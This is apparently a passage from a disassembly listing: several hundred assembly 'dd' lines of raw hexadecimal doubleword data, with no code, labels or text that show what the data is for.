		dd 31421B6Fh, 38FADF3Ah, 5C5B1519h, 4A25F962h, 0BD35122Eh
		dd 3E65B8C4h, 0DD80DF78h, 8A563153h, 3290FCF9h,	7EBBD85Bh
		dd 842C000Eh, 2723B063h, 2D7514FEh, 620ED776h, 7E16BA4Eh
		dd 65007D54h, 0BFF09E95h, 17897218h, 0BB0379BDh, 0CE76B57Dh
		dd 0E380FEA0h, 0BE666004h, 17AEA85Fh, 9157BA1Fh, 0A5E842EDh
		dd 347EE21Fh, 0C1DC1081h, 0A93F33B0h, 419A5B80h, 0B0C01CC8h
		dd 0B5357576h, 0F62777F8h, 29355FA7h, 0CBC4A32Eh, 7AE9E2AFh
		dd 5CB224Bh, 8034DAD6h,	0C1BB8A09h, 2E640533h, 0EBF1BD29h
		dd 698C8EB3h, 75FA033Bh, 0ABECF7F3h, 0A091FEDAh, 674180DFh
		dd 19750285h, 498BE2Ch,	0A120A11Ch, 342ED903h, 0FB0584C2h
		dd 0FFF51AB6h, 0BE0130C8h, 0C259255Fh, 0DF04D1C2h, 2F00D6BDh
		dd 0AB4DED30h, 0DE1697F7h, 988704F0h, 8D011B7Ah, 4B0DD520h
		dd 85819B60h, 0B5FF5E6Dh, 0CE172BFCh, 2B71C9AFh, 7F0EC313h
		dd 2510A49Eh, 5F1CC8B9h, 0ED552501h, 0D802C078h, 665AB3A9h
		dd 8130CB8Dh, 0F5264045h, 5AD1DBBDh, 29C7F0F6h,	49E44DF1h
		dd 0AD7F343Bh, 0D8539FF4h, 578B53E8h, 0A837540Eh, 940592D8h
		dd 0B6AFD59Fh, 0EF9AF01Dh, 31B40B70h, 57C42C71h, 0AC1B0C00h
		dd 0EEBFD691h, 2746B8BBh, 0F4AE1FD5h, 680123C8h, 10086DF6h
		dd 2FF98C89h, 91E6A58h,	0EBE4176Eh, 97EE3EDEh, 2A900BF4h
		dd 0C6D519A3h, 97C9B09Fh, 0EF5F250Bh, 168541F3h, 0EEF67ADDh
		dd 9460C84Ah, 0C7E3B300h, 0A751E660h, 4306003Dh, 7252E92Eh
		dd 0D13BD780h, 1707A270h, 0AD36C81Fh, 3E4F7CC4h, 8D0F9CC1h
		dd 202AFC49h, 0A860A9D4h, 0F782E525h, 50603E1Ah, 5F812D25h
		dd 0FE6A132Fh, 0C950DB7Bh, 545509B3h, 610256F9h, 5BD531A1h
		dd 925240Eh, 0CCD70BE1h, 95A5A388h, 130B70EBh, 0F6017260h
		dd 98DCB955h, 0B570281Bh, 0BE034B2Dh, 2FC05C2Ah, 0F19D33BBh
		dd 95E90D5Ah, 0A3A016D6h, 5A45171h, 0BC47FDF5h,	3CED0979h
		dd 0E931AFCEh, 89DFDC66h, 6EAB465Fh, 0A690196h,	5B5090Dh
		dd 52979868h, 0AAC6AA69h, 0BBF95B68h, 0D84B6C6Ah, 730F6DD3h
		dd 0C645480Dh, 4B581E3Fh, 8975A3FAh, 2529A9DAh,	0BCA3872Bh
		dd 9DFFE92Dh, 0D685A556h, 0E803AE31h, 365BD7C9h, 65A78B14h
		dd 0F0028822h, 34A65Fh,	0F08318A6h, 0EED8B1AAh,	0E3A87E00h
		dd 0A3CA39EAh, 86381B37h, 0A42C5506h, 454B898Ch, 6060A41Ch
		dd 0E816AC8h, 6B89CC04h, 58D5A2Ah, 53832868h, 0EEC8D3DBh
		dd 0A80073F2h, 83EA6D9Eh, 0B43E8Ah, 7BE4C757h, 0F38158B9h
		dd 0D2798409h, 0AD947977h, 0DEFD98D5h, 98BB3F50h, 5646B993h
		dd 3A2189D2h, 0AC4B45FDh, 5E9C4D63h, 67ADE5E9h,	9567000Bh
		dd 9E64818h, 119D162Bh,	0EC51BD22h, 7FA80F5Ah, 9D81106Bh
		dd 2A391619h, 68859412h, 0D6F59EEEh, 13237698h,	0EF1CF9EAh
		dd 848BD2CCh, 0E7EC294Ah, 7B0E8E4Bh, 4987AE1h, 23E000C1h
		dd 944DAC57h, 0F27315C8h, 0FC05B379h, 0E93AF5D2h, 859B1B12h
		dd 5680AA93h, 5ADDDED3h, 2D8DFC35h, 0DD607910h,	2DA2372Fh
		dd 0E312C9F8h, 0E6F2161Ah, 3DDDAF89h, 8FFA7E6h,	0CE5BF17Ah
		dd 7361BD59h, 0BD8A6A2Ch, 64C148E0h, 47B11305h,	0BB856660h
		dd 2A88E1FAh, 5CA9C7E9h, 8D05DEC7h, 884117B6h, 0BD2513B0h
		dd 310688ECh, 0D96AF0C3h, 791F0B22h, 305D82CEh,	40098DACh
		dd 85163115h, 74BA104Dh, 3AE2FEB2h, 0BD0B5102h,	0FE0903E1h
		dd 0AD1B2EBEh, 83A4E851h, 17C8CB3Eh, 27F301F1h,	94A59A0Eh
		dd 1E7DC8A0h, 0B50455EEh, 5E4B91BBh, 3EF960CCh,	0AE2F4C8Ah
		dd 0F1EFD5Eh, 1F72216h,	0C5D72402h, 0DE57471Bh,	72044038h
		dd 8215F492h, 4A2A309Ch, 0B687D6FBh, 40119595h,	0EDD9098Ch
		dd 58659C24h, 3B527102h, 0BD4DD703h, 0E6F54C69h, 0B3743B52h
		dd 8BD68580h, 0E1C781F5h, 5EA82F12h, 93F69AEFh,	4475698h
		dd 0E402BAE8h, 49A0BE14h, 0BB1F400Dh, 0E14EAC09h, 9D61D240h
		dd 0D94082CFh, 98D91A5h, 0F689813Fh, 4AF1CDF7h,	9259E9A8h
		dd 7B6CC48Bh, 2D6F262Dh, 0FF75325Fh, 9F00A535h,	0E3F4B9FDh
		dd 0A17A4F56h, 30132F5Fh, 0AB52BA80h, 61CB278Ah, 2417B5DFh
		dd 0EAD0E948h, 22EEA64Ch, 0D57B9505h, 0AB181759h, 0EF61D16h
		dd 23D85730h, 0E94FE8Fh, 9C4F68CBh, 71B9A040h, 2C31AB24h
		dd 0B5096A76h, 7E22E961h, 7A5EF589h, 8A96DBC0h,	0B76B6DDh
		dd 0CDDDCCE4h, 0AEB6C519h, 8AB7F75h, 81001A5Ah,	6FBC26DFh
		dd 377EB551h, 0B2EBB765h
		dd 575189A2h, 0A2875BBDh, 9F325DA4h, 0EF42C88Ah, 0BEC05E64h
		dd 2B432D3Eh, 453DB402h, 98E02F07h, 0F99D0AA1h,	0AEE5C2Dh
		dd 78027974h, 71D1869Dh, 0A54ED5CCh, 4AEA7949h,	16ACC8BDh
		dd 28EA018Ch, 31BD035Dh, 2E61591Ah, 0BD6D0186h,	0AED49274h
		dd 8BD1120Ah, 89CDF2DAh, 0F65AF47Fh, 1E012F74h,	495640BCh
		dd 0F7DE5494h, 0B56A8BCDh, 35AAF5E9h, 87C70155h, 7AC63ABBh
		dd 0BC5A6D7Ah, 2DC0A4B5h, 4A08BAFAh, 0D3AAF328h, 0A200336Fh
		dd 7F8D51ECh, 0BE2FBFA6h, 3E2A40E6h, 8AE92515h,	6435DBE2h
		dd 72DEADh, 6D29ED54h, 0F1BD783Bh, 5E0A8082h, 0B738FEA0h
		dd 948C8412h, 0A27CF7E1h, 2888BE93h, 2AAA00FBh,	0C0341AF4h
		dd 130428E0h, 0C18B4735h, 0AAE406B6h, 8EACC7D4h, 1F7C1380h
		dd 995F8432h, 62D75E81h, 0A8D9F96Eh, 109319h, 13DCFAF2h
		dd 0F8BF18C9h, 310740BBh, 10418D7Ah, 13B302Fh, 120B8A7Fh
		dd 87B110Dh, 0CA0EEDF3h, 6DCBA085h, 0FBCFFFD5h,	0B00BA73Fh
		dd 463E172h, 543855BFh,	80BABC52h, 41CE36E3h, 731009E1h
		dd 0C8FE67C6h, 0CF0DC82Eh, 14937228h, 4C8BAFAh,	7BCF0D2h
		dd 2F67FB1Ch, 0A799F031h, 18132C75h, 9FB5C59h, 15C41520h
		dd 0AB09BB05h, 0B20242C2h, 7B492B1Eh, 0EF2978E2h, 0CAB71BB0h
		dd 0A1474034h, 53109D32h, 0D1BD8951h, 0EF5F1245h, 0DD5386C2h
		dd 80AD4913h, 0D3A0296Bh, 62563B00h, 0D7B731C2h, 8A4E05BEh
		dd 0B0C8321Bh, 905D5B8Bh, 0FC4BCBDh, 91EA6BC9h,	0BCFB84A4h
		dd 994E16A1h, 27117AFFh, 810E7139h, 0CC1A9C8Ch,	0E9D56D75h
		dd 96D9DFCh, 1594D827h,	0E5A074D1h, 0F9BD0AEEh,	0A3F45C0Ch
		dd 0DE8B6028h, 8D89CE88h, 4C3A7295h, 5FC00861h,	0FC189905h
		dd 4C511D00h, 6E74DF28h, 0E77A05ACh, 0AF6967E5h, 0CB818D01h
		dd 283A6FB8h, 0B788AB44h, 26A2780h, 781FCB37h, 0DFD10C01h
		dd 2E894367h, 0BC61499Dh, 80372C90h, 0A223BDE8h, 60500035h
		dd 47B856BFh, 905A611Ah, 0F809F46Eh, 0EDFDC7ECh, 0E1C47A8h
		dd 83908010h, 9750EA8h,	561B6EBDh, 23846D1h, 977D0F37h
		dd 1D7657BFh, 0C0206200h, 95D8DF1Ch, 9401EF0h, 0DB81005Fh
		dd 6E342D6Ah, 0E7B542E9h, 402812CCh, 94D6BFEFh,	0E1B37605h
		dd 826B78h, 0A64F239h, 0DDD72CBAh, 0B0E78005h, 0D9EF880Fh
		dd 4D2A2F4Fh, 9CE8E80h,	3512C1DBh, 9DFC9C3Dh, 4AF91800h
		dd 47B35150h, 25AED495h, 1DC16DCh, 82BFB59Bh, 3A4D3B4Ah
		dd 6BBD7164h, 93296089h, 75BABE74h, 435DB95h, 6521699Dh
		dd 0CEA185E6h, 8DEB70D0h, 0A8E9315Fh, 73AD409Fh, 297592CDh
		dd 3630500h, 39A1A39Ch,	66309D17h, 9810124h, 3895FD3Ah
		dd 718024B0h, 8070E609h, 0CB7AB979h, 71E40973h,	495E8F0Fh
		dd 11309C4h, 68C8B33Ah,	734A3A3Ah, 658914F5h, 2573D119h
		dd 9F249A78h, 3D165287h, 7EBD73C4h, 60A72D8Dh, 809BB1Dh
		dd 7753E0F4h, 1A9DC9C8h, 97337986h, 0AC390E54h,	416078C8h
		dd 75F6684h, 17213B54h,	67D06702h, 8DD2C2BDh, 0ABC457h
		dd 18EBE9C9h, 1CF33CEh,	0ED4955Ah, 601B82AEh, 3C007266h
		dd 0AA9A45BEh, 0EB2CD93h, 0F4D0908h, 6E49C0E0h,	8DF2BE2Fh
		dd 900CB926h, 2B446D44h, 8BD5B89Dh, 0B915E85h, 0E65E6649h
		dd 0D9C38143h, 28DA6DE3h, 2A7CAFB7h, 0A48C0EC4h, 3CE935DFh
		dd 5D598211h, 91AC577h,	4E02F960h, 5D290F81h, 0C9802C14h
		dd 149D23A9h, 94B1BEA2h, 80095995h, 9ED334F7h, 48A47E04h
		dd 0E2F0D4F6h, 9D1E17B2h, 5925FF1Bh, 28E709B9h,	956796DFh
		dd 33A912E0h, 9740583h,	0BA24C185h, 98160D74h, 0AF7528AEh
		dd 0FE3E7402h, 0DF32CA4Eh, 680F3D9h, 0B905ACEFh, 0E9104E22h
		dd 0A92FE931h, 0BF66C11Ch, 173A7B29h, 0B846E9BEh, 8A9C001Ch
		dd 0DD22B8B1h, 512E1591h, 59DE4BFCh, 9401C6AFh,	1D8529F6h
		dd 0C02B010Ch, 4BCDF360h, 13C2A62Eh, 95A396B7h,	0B99120D7h
		dd 0C0005436h, 23D22A40h, 0E86B1089h, 3C6301B0h, 0F1A8AC64h
		dd 5CDB3A57h, 6DF47380h, 273A7018h, 0C67FB025h,	486F91F3h
		dd 51290460h, 0CAB709FEh, 0D6B1BBD1h, 0A93B1B11h, 0B31AB882h
		dd 997F2577h, 9A2EF82Ah, 0C41BC896h, 0B288EEE4h, 8BAB4EA3h
		dd 75A6D295h, 0C88D3CA1h, 30BDC46Eh, 24B4EFD0h,	3BF34BF9h
		dd 9C457527h, 0F2DE7617h, 7483EAD2h, 0AEED85B8h, 0D171E6ECh
		dd 0ED096FB8h, 773FC498h, 0CC496BEDh, 0D38B586Bh, 5E181D10h
		dd 0BB1CA5ECh, 0A945A7F1h, 1D5D771Bh, 133C9A22h, 892CBB8Bh
		dd 0AD034A7Eh, 8BFF92CFh, 7C0E484Bh, 95ECC05Ah,	982926B2h
		dd 2D0D93F7h, 9375F168h, 504F9076h, 602F2698h, 0DEEB60A1h
		dd 0B600B8E5h, 0F8613B94h, 0B7BD884Dh, 0CF813348h, 41D4D027h
		dd 0ECD20F9Fh, 92F94ED3h, 0B81FAA2h, 2AF10BBBh,	28A5A581h
		dd 0D298AC14h, 0FB255BF7h, 898FE7AEh, 0CCB1AAB2h, 0A00EE76Fh
		dd 0A3FC67B2h, 550992D7h, 5017D0C7h, 602688EFh,	535F5AF0h
		dd 0E0A6BC20h, 77BE1D5Eh, 664A4352h, 61CAA575h,	0BBF498D7h
		dd 0E4B0BCFh, 8535843h,	70C04D70h, 496F0543h, 0FF7A4203h
		dd 0F8258CA3h, 46D64C5Ch, 8AA30517h, 0AEEC205Eh, 0D6C8FE92h
		dd 0BD012D52h, 5B4E04FFh, 7ECEE6BBh, 4E298D22h,	0D708E499h
		dd 190B111Fh, 4B3D4667h, 5E4DAC51h, 0F6A4B8E8h,	7CBA0CDh
		dd 50E22485h, 0A35F939Fh, 8D290E17h, 2DBB97F5h,	8F6A7F8Fh
		dd 63378402h, 0FB7E9735h, 7E66A925h, 865EDEE1h,	5D0796C2h
		dd 7889A03Ah, 0B7B51678h, 42E20069h, 0B9931663h, 78F88DA9h
		dd 72B65E6Fh, 0A0A8F5E0h, 0DD26587Ch, 54093493h, 2DE0D41Ch
		dd 8F2019DFh, 78698A29h, 0E0B40D07h, 4130685Fh,	27843B3Eh
		dd 99659052h, 0C98F0BACh, 805D75BCh, 191F1DA7h,	4077823Ch
		dd 25C2CF14h, 78B77BE3h, 26FCA09h, 572075F3h, 0FEB74D4Eh
		dd 98BF60A9h, 544B239Ch, 2D3A7FBEh, 0D88590C8h,	596025Fh
		dd 9F8AEA9Ah, 848BFC57h, 0EB9D3351h, 615BD291h,	8411122Ah
		dd 0A4E7FBF2h, 0BB9375A5h, 0D3F0F5D7h, 5ED81F9Fh, 4B68BE52h
		dd 0A6D23B5h, 3C78089h,	5A2D85EDh, 0BEDCE61Dh, 60031523h
		dd 0AE96Ch, 0D46A0D15h,	0C0FD84D6h, 4D6D1312h, 51885AF2h
		dd 0FD1A099Ah, 3EC4A6D1h, 6AFD894Bh, 248EFB9Ah,	0BDD095Bh
		dd 17A41F7Bh, 5717CD09h, 8109FA6Eh, 71E82EEBh, 11E98CE7h
		dd 6D00C3BFh, 9FDB4FFDh, 60AA8h, 0F0B9F112h, 2EBBCCC0h
		dd 0CD61B2CCh, 8A571650h, 5EAAA9FEh, 0F93EF4F1h, 0B30FCF1Dh
		dd 0DB6F31FBh, 0B2ED2EAFh, 3D07E7FCh, 0F1DB99C6h, 8AA21809h
		dd 1BC0415h, 0BAAA6D5Eh, 859122F8h, 9371C893h, 14E7BC30h
		dd 0F4575h, 0FA03011Bh,	0D03E0E63h, 9414BF02h, 0D75B6BC9h
		dd 0E8400995h, 10EC553Bh, 1070B1B2h, 0BE4F03D9h, 614F266Bh
		dd 0FC211689h, 0B7040A9Bh, 4B31CEE6h, 0A293FDFCh, 0BCA300D5h
		dd 6052F717h, 0BC535ABBh, 5F5BC4EBh, 602557B3h,	299F36D1h
		dd 81B3E158h, 4E4904D9h, 0B8617355h, 61B64BB1h,	0CE1B32E7h
		dd 8228457h, 0F8F3AFh, 3FE6964Eh, 979509A0h, 6D2D1A7Ch
		dd 0EBD0E12Eh, 0CE5BD0B1h, 5DB50109h, 0ECCCD716h, 0FD958927h
		dd 0B5D7A00Bh, 90CCAF5Eh, 8855CF1Ch, 9F9C5B8Ah,	56BBED12h
		dd 0F52DF6E0h, 669E20AFh, 2917BB80h, 5844EDB5h,	0BE95C9B3h
		dd 0C011DEAEh, 0DA4B75E4h, 0C2F55D17h, 0FD5FDE13h, 17F9C4F1h
		dd 0AFB35002h, 0CB810268h, 0A69C330Bh, 966F7D5Eh, 22625FEBh
		dd 0F80AC1D7h, 0D332FC6Eh
		dd 9301E5E2h, 0D5379631h, 0ACE2D811h, 0CD1C2E00h, 989A23B5h
		dd 97A17F79h, 6B701094h, 0EBED6AE1h, 8301FDB8h,	18AB40C7h
		dd 4745890Fh, 44BC5E30h, 0A78B09D8h, 9A55AF87h,	51F461A2h
		dd 0BFF18C7Eh, 0EE2D8104h, 45AA5B08h, 0C4B2B55Fh, 801D2576h
		dd 7C78BB77h, 61291A0Bh, 0C5595696h, 4BB2EE95h,	6CF91899h
		dd 4EBC5EE4h, 0F3957EAAh, 191A59D1h, 0C178BC6Eh, 758D0157h
		dd 975B6324h, 0BBD48B7Ch, 88F5169Ah, 0A7007D12h, 0A9C47159h
		dd 35EAE7h, 0D03E208h, 79822B58h, 7CF68B01h, 100A0EBFh
		dd 0CDEDE06Bh, 0AA3134Bh, 0DEAF5D88h, 0BB1E1647h, 775A392Dh
		dd 2CDB2EC1h, 0C17C8906h, 0F2CFD732h, 2AADCFC0h, 2CBAB09Dh
		dd 9DE1337h, 9E571481h,	89573D10h, 810DF1A4h, 0E9FA8A5Fh
		dd 0BFC56BDCh, 0D9E1E9F6h, 0D8DE20ADh, 0C98D0917h, 0B95E64BAh
		dd 0A93EA924h, 2FD905BFh, 88EA2CB3h, 0FF00B7D7h, 6F04B271h
		dd 3B3C56CDh, 0A38E3669h, 0E000BAC9h, 0EA81F00Dh, 5AAC31DDh
		dd 8E041412h, 7F1E169Dh, 1307B0F9h, 1749390Bh, 5FC59B6Fh
		dd 250C6E25h, 0A2F01AC2h, 38B6C098h, 0AF5A584Dh, 86801222h
		dd 30E3C50h, 0CD3A81D0h, 0B22B1945h, 5D2D3886h,	0D9E9124Fh
		dd 0C8284AA9h, 251920CFh, 3C40031Ah, 0F1EFA24Fh, 9F8B0721h
		dd 2A511258h, 0D8F80580h, 30C1C5Bh, 5920D163h, 624D7B30h
		dd 19D51208h, 4CCD6404h, 4CC483C0h, 51C5B704h, 10FA018Bh
		dd 46B0A981h, 5909B514h, 2C3C033h, 6623819Bh, 0C62444B7h
		dd 5E98524h, 0D2684780h, 98D49AA7h, 0B117F82Ah,	77AF08C8h
		dd 17D0243Eh, 82060834h, 29EB1CB5h, 0FFE8D3h, 525EACB2h
		dd 12001401h, 28957727h, 0A82B8Eh, 5861F860h, 151EBE66h
		dd 0CDC0810Ch, 1F333864h, 475652D2h, 84B44C7Fh,	3440C15Fh
		dd 0F8309602h, 0E981B700h, 1E75A5F7h, 1F98B27h,	1AA01EF1h
		dd 80843C2Fh, 1BFA4BD5h, 0B0C0B542h, 841D5D71h,	0C1C35B66h
		dd 88493FECh, 7C0C89F5h, 3FC6F610h, 0C382B148h,	7E0806B8h
		dd 7FD4142h, 0FAC1F302h, 0EF2E9BD0h, 0F619B609h, 544E62F6h
		dd 1772D2FFh, 87BA07h, 0B18FA49Fh, 5D01590Bh, 0CFF529C5h
		dd 0D448820Fh, 81D7BEE9h, 1F055D19h, 0B6EE40C5h, 3AF07A93h
		dd 8C1B0C01h, 0BB55EAE6h, 0F084E0EBh, 0EA7CF83Dh, 0D9C50F9Ch
		dd 56008A3Ah, 232CD5BBh, 9B7AC106h, 328F464h, 8BBCBFECh
		dd 10000FA8h, 601C122h,	0C1C28C3Bh, 0D47C0459h,	0BFB000EEh
		dd 15AE3072h, 0C0484229h, 53D05F01h, 0FBA30A1Dh, 21460898h
		dd 0C00F5063h, 0EC8B223Fh, 30348812h, 0A2211686h, 2F00F9D7h
		dd 53AEC223h, 0FBFD3Fh,	0DB4E390h, 0C7A37795h, 63006870h
		dd 0C10F4B8Eh, 756787h,	5AAE79ECh, 49970DBCh, 46BD3A00h
		dd 17899814h, 947C9Ah, 0AA7BA7ADh, 0AE9C30C8h, 0B013BE00h
		dd 8FB11220h, 3ED3000Ch, 4FC9A53Fh, 2D0057A2h, 0B06E59Fh
		dd 70BA2C32h, 2700059h,	31908EF9h, 5200D8CAh, 0D453F46Fh
		dd 567FBCh, 5C91059Dh, 0FA86A621h, 0C3BE500h, 2FFFEA2Dh
		dd 0A95400BAh, 4EE4C279h, 0D47BDF82h, 15536C00h, 377625EBh
		dd 0FD68005Bh, 0B463D1F1h, 341DA404h, 1F00CB96h, 0E2BFAEB1h
		dd 10673F6Ch, 1D4DB513h, 21DA18C6h, 0E200B709h,	0AD944F3Ah
		dd 0CC9289Ch, 0AA5634A6h, 7008A50h, 0F5EEB120h,	7C3145h
		dd 65721A9Fh, 0A7AE3F7h, 0F940AA0Fh, 74FE8039h,	3A469CAh
		dd 25E8E041h, 6800CEB1h, 223B3202h, 1861CA75h, 20DF28D4h
		dd 2D12B309h, 9F01662Fh, 0ADD6241Eh, 30366442h,	6608E2C1h
		dd 6403E067h, 0B90740B4h, 44C7E2h, 6619F595h, 4A033282h
		dd 98FB1B30h, 0CAE89BEh, 0AA2BF7CFh, 0EE006AB8h, 9C975883h
		dd 28E31Ch, 49F51D06h, 4B9F892Eh, 978B58h, 5866BDCAh, 0E1E25Fh
		dd 71848F08h, 0F3026888h, 0AA2EED30h, 0D1104Ch,	23AF1101h
		dd 33D5999Dh, 0BC938500h, 6DD6A056h, 0B4E8C6h, 281B4DB2h
		dd 50F17CE4h, 46731C00h, 141018F0h, 15A1DBBh, 364D8048h
		dd 886840D1h, 2D1EE507h, 1C402C78h, 0E858F9Bh, 5AC712DFh
		dd 62AECF03h, 21920830h, 9DF8D6Eh, 130FF07Eh, 86DF0057h
		dd 0B6DE84h, 0CCAB9C20h, 742F9B1Eh, 48041C0Dh, 0FEE0381Bh
		dd 0D091003Ah, 2BF498D5h, 8CC609Dh, 5F214Ah, 3CD69133h
		dd 6CB2AFB7h, 0A1954D00h, 2F9AEAF5h, 5DA8001Eh,	9CE60380h
		dd 66241AEBh, 0A101C41Bh, 65A9AC96h, 67206BECh,	4870881Ch
		dd 39600544h, 0D523D191h, 77491190h, 12913200h,	0C59458DBh
		dd 0FC481F35h, 7D671CE6h, 3FD2EA77h, 0CA30011Dh, 0C2AB1C98h
		dd 7EC4B600h, 0ECA22803h, 55107F6h, 0DB34B82Eh,	3120E805h
		dd 0C47FE8Ch, 0D2910838h, 617088D5h, 98910131h,	0DD0DAE7Bh
		dd 0E07DD4E6h, 0CED1D300h, 35226293h, 42732EF2h, 20D40C9Ch
		dd 6AF01E38h, 0A57A70FEh, 0EBF18B01h, 1A028399h, 338F6E30h
		dd 0BBC1D0C4h, 233BDBA8h, 2002B506h, 60086D1Ah,	791421C4h
		dd 0D201DCDBh, 1942523Ch, 88408660h, 0F85FFDE0h, 48DE01ACh
		dd 0EDD1C730h, 0EBC440EEh, 1E402B1Ch, 659918C4h, 193D18B8h
		dd 14D32901h, 1896C535h, 808E9091h, 2334DB77h, 393F876Dh
		dd 0CF04007Fh, 1B425D22h, 0A1307398h, 0A0CE5FCh, 3034488Ch
		dd 0B428D515h, 5D805288h, 0D5BA912Dh, 0A01F7679h, 0C02A82ACh
		dd 2EAB7AC1h, 0DDEC0A14h, 0EC4A200h, 1766F39Dh,	0D9C87EA1h
		dd 1890C828h, 3ADB08D1h, 0C8C4DD23h, 0DB7A1540h, 0A7027729h
		dd 0CE82AC09h, 38D1C008h, 1934901Bh, 581D5DC4h,	0DBF41991h
		dd 0E5232139h, 0DB7B0EC0h, 15AA39EFh, 2416BB80h, 0CC3FA56Eh
		dd 0F42C1A40h, 7ED00487h, 9B1FF6h, 85ED11FCh, 8BDC03A5h
		dd 8C149D22h, 9AF6A1h, 0ED0B5Dh, 7407C4B1h, 467027D3h
		dd 0D150BDF0h, 6D0242ECh, 5B9F333Ah, 11C09D2Ch,	1DE5804Ah
		dd 0FF7F18h, 6C6192E0h,	0AE866740h, 0D9782576h,	4DEBD30Ah
		dd 0C683CCD2h, 6A3A599h, 7C176980h, 6C90E058h, 89023146h
		dd 3AC706DFh, 6A109431h, 4200DF91h, 311C64Bh, 0B8F64F07h
		dd 90A652CAh, 4222EB0Ch, 546F6631h, 0A66BE0B9h,	922978h
		dd 1741C608h, 5009F418h, 0E72A1400h, 7DF2C2BDh,	0FE0F7823h
		dd 0E4A466h, 15A740FAh,	57D8F416h, 9929E300h, 95736B69h
		dd 98DDE622h, 769CE4BAh, 0A092A1h, 0F5F05D47h, 0E28EA1Eh
		dd 8050E53Ah, 5A1F6522h, 6159D199h, 0C4164076h,	5800EBD8h
		dd 4850AB33h, 46F0F21h,	0D086DEC6h, 1200987Fh, 0A510ED7Bh
		dd 0F4C88C14h, 0ED1D5C9Ch, 0B063E740h, 53599D0Dh, 43A2F494h
		dd 78C7930h, 0D97D52E5h, 0C9A790B9h, 0E0C0BD35h, 0D3578167h
		dd 45772ADFh, 0B1B200B8h, 0DEF529AFh, 1F267ABDh, 0FA00446Dh
		dd 98160587h, 0AEFCA002h, 0BF714DFh, 1911D830h,	0C4171D2Ch
		dd 76D7B1C6h, 615F889h,	69A9A708h, 1B0178F4h, 0A13574DFh
		dd 30429Bh, 17F40Dh, 0ACB7A29Dh, 0B8AF2672h, 704B6C0Bh
		dd 0CEDE871Ah, 0D760E2F0h, 19390051h, 0EEFA5ACh, 47B0902Ah
		dd 20970300h, 0B5D1C4CCh, 59E1C0D2h, 9A1DF3AEh,	1E71C212h
		dd 27930C00h, 37A946D9h, 4E28C09Dh, 1B7DABC0h, 339840ACh
		dd 0E72C30E8h, 0F8403CC4h, 11F1A0h, 0C623B90h, 8D2CD5AEh
		dd 9B8E7D00h, 99A87067h, 509CEDCDh, 514E0035h, 1793619Dh
		dd 0A000A57Bh, 3B85A155h, 503EB130h, 0E80F91ACh, 7445F0A4h
		dd 0A8EB0E3Fh, 2920A5BDh, 867D1C75h, 0B03EF370h, 660C1F95h
		dd 23FFDF0Eh
		dd 0E1820556h, 2DE0DDDEh, 1FE87846h, 7045CE64h,	2A79AC28h
		dd 60ABFA30h, 4CB419Dh,	0F4C26A71h, 0E4B68062h,	9C00299Eh
		dd 635A5BA9h, 6109ABC0h, 3E0E3074h, 0F28907Fh, 0E060F78Eh
		dd 5EABBBEBh, 9692AD1Fh, 0CEDC78F0h, 0D06EE05Bh, 58DC1CD1h
		dd 5F711974h, 5FFDB00h,	0A1829F4Fh, 0CD41289Eh,	75B00A4Ch
		dd 6807BE5h, 0B8DD4045h, 0A5E2CD42h, 0BCFD7720h, 0F6750061h
		dd 7C29A09Bh, 0ACA3CF74h, 0E4AC2000h, 0A4EB8F68h, 0C011F4E0h
		dd 3BF81338h, 0C2188E5Ch, 74B17C9Bh, 11DC00E5h,	0FDFB0D32h
		dd 9C7460C0h, 7142E60Ch, 609B517Eh, 0B8A408E5h,	253E9907h
		dd 15906B3h, 1813B5h, 4C84288Dh, 64616768h, 0BB1878C8h
		dd 3D936300h, 0D41E4B8Dh, 0CEA0C650h, 0B3411D45h, 98424EB2h
		dd 0E2E1C0F9h, 1D400059h, 0FB14BE66h, 0E6002181h, 69E54127h
		dd 0C1B6FF5Dh, 0A8966379h, 0D12441E3h, 0E47C0051h, 0AB9B3127h
		dd 9EDC9C0Eh, 3E803FC1h, 8EDDFCCBh, 2EA302D1h, 13F26FFDh
		dd 108FF487h, 0D5266585h, 80A04EFAh, 4202236Dh,	3C696158h
		dd 313840F9h, 0A9CF1FE4h, 0BFCB4074h, 4CC27384h, 0F1A65E0Ah
		dd 2B01F0DEh, 5CF2189Ch, 189E7830h, 18660985h, 95042E64h
		dd 2ABE47E3h, 0F6D49090h, 6BF80739h, 80DE71C9h,	92828EC0h
		dd 63FCBA00h, 0F9FD8831h, 8F748E0h, 0B5BF5E08h,	707FAC02h
		dd 0CB9540EAh, 994F00BDh, 0FC8AECFDh, 4D004E3Ah, 0C4A441F7h
		dd 601251FBh, 0BCA740C3h, 921D8BA6h, 6CC0671Dh,	426BE9Eh
		dd 153492C6h, 9CD4FF59h, 0BDF45C03h, 1031B216h,	0CC8BECE1h
		dd 1823C60h, 0B1D07E55h, 8028BF10h, 5E9CEAD1h, 18195144h
		dd 1814899Eh, 0BE0020FBh, 0EFB406E0h, 0EBC021h,	1369BDEh
		dd 6F0EACE1h, 0A57FB200h, 1DE4464Bh, 544500D4h,	957E05C5h
		dd 6B0C5E6Dh, 97211B8h,	2521C3BDh, 5B8895D6h, 7C00B608h
		dd 9F9312DDh, 748C7AE9h, 0E528C006h, 3CB8EB2Fh,	18CA3206h
		dd 7D082A44h, 0C620C1AEh, 20BDEAF7h, 79E4DE71h,	2C00D77Bh
		dd 9C0FD15Ah, 5EAC6F49h, 1A0A80A2h, 310016C5h, 930759D5h
		dd 0CE913D8h, 0F874FE19h, 29FC4D80h, 0AA6AA0C0h, 2D078Ah
		dd 2139AF30h, 0D013D94Eh, 6DB8FA00h, 0BEBAC268h, 54300229h
		dd 0E5D5BCA1h, 1423209Eh, 0A8DE0049h, 302CDFCEh, 0EC893115h
		dd 9C72008Ch, 919737C7h, 404A0AADh, 0C0ACE946h,	5E7A95E7h
		dd 28808343h, 4714957Fh, 0BC3B120Eh, 0D0FD225Eh, 3C9280E6h
		dd 782DDA5Fh, 0D60F1FD1h, 0B6158022h, 312981A4h, 2AB49118h
		dd 34BA6C48h, 4C00982h,	42B52B98h, 0A1AD9896h, 2AA71CC0h
		dd 0DEEE7843h, 0BC8B30D0h, 0B428721h, 0CD1DD971h, 8F9F19D7h
		dd 0E7C5B900h, 50D47FDAh, 0A01DCC08h, 0EF4B360h, 0C2B9C6F0h
		dd 91043B60h, 8383A67h,	8E179E14h, 666DCF00h, 75F8FA0h
		dd 88BBC9EDh, 0D30E5067h, 4F00C2E6h, 61CC4BE3h,	0A8D0F5h
		dd 946D0A93h, 0F3E5C553h, 0C16F80E8h, 0BF401EB9h, 0FAD2F46h
		dd 0C4EC0EB2h, 3D8CB1D7h, 0E7036821h, 0E1BCD546h, 0AB93D0E4h
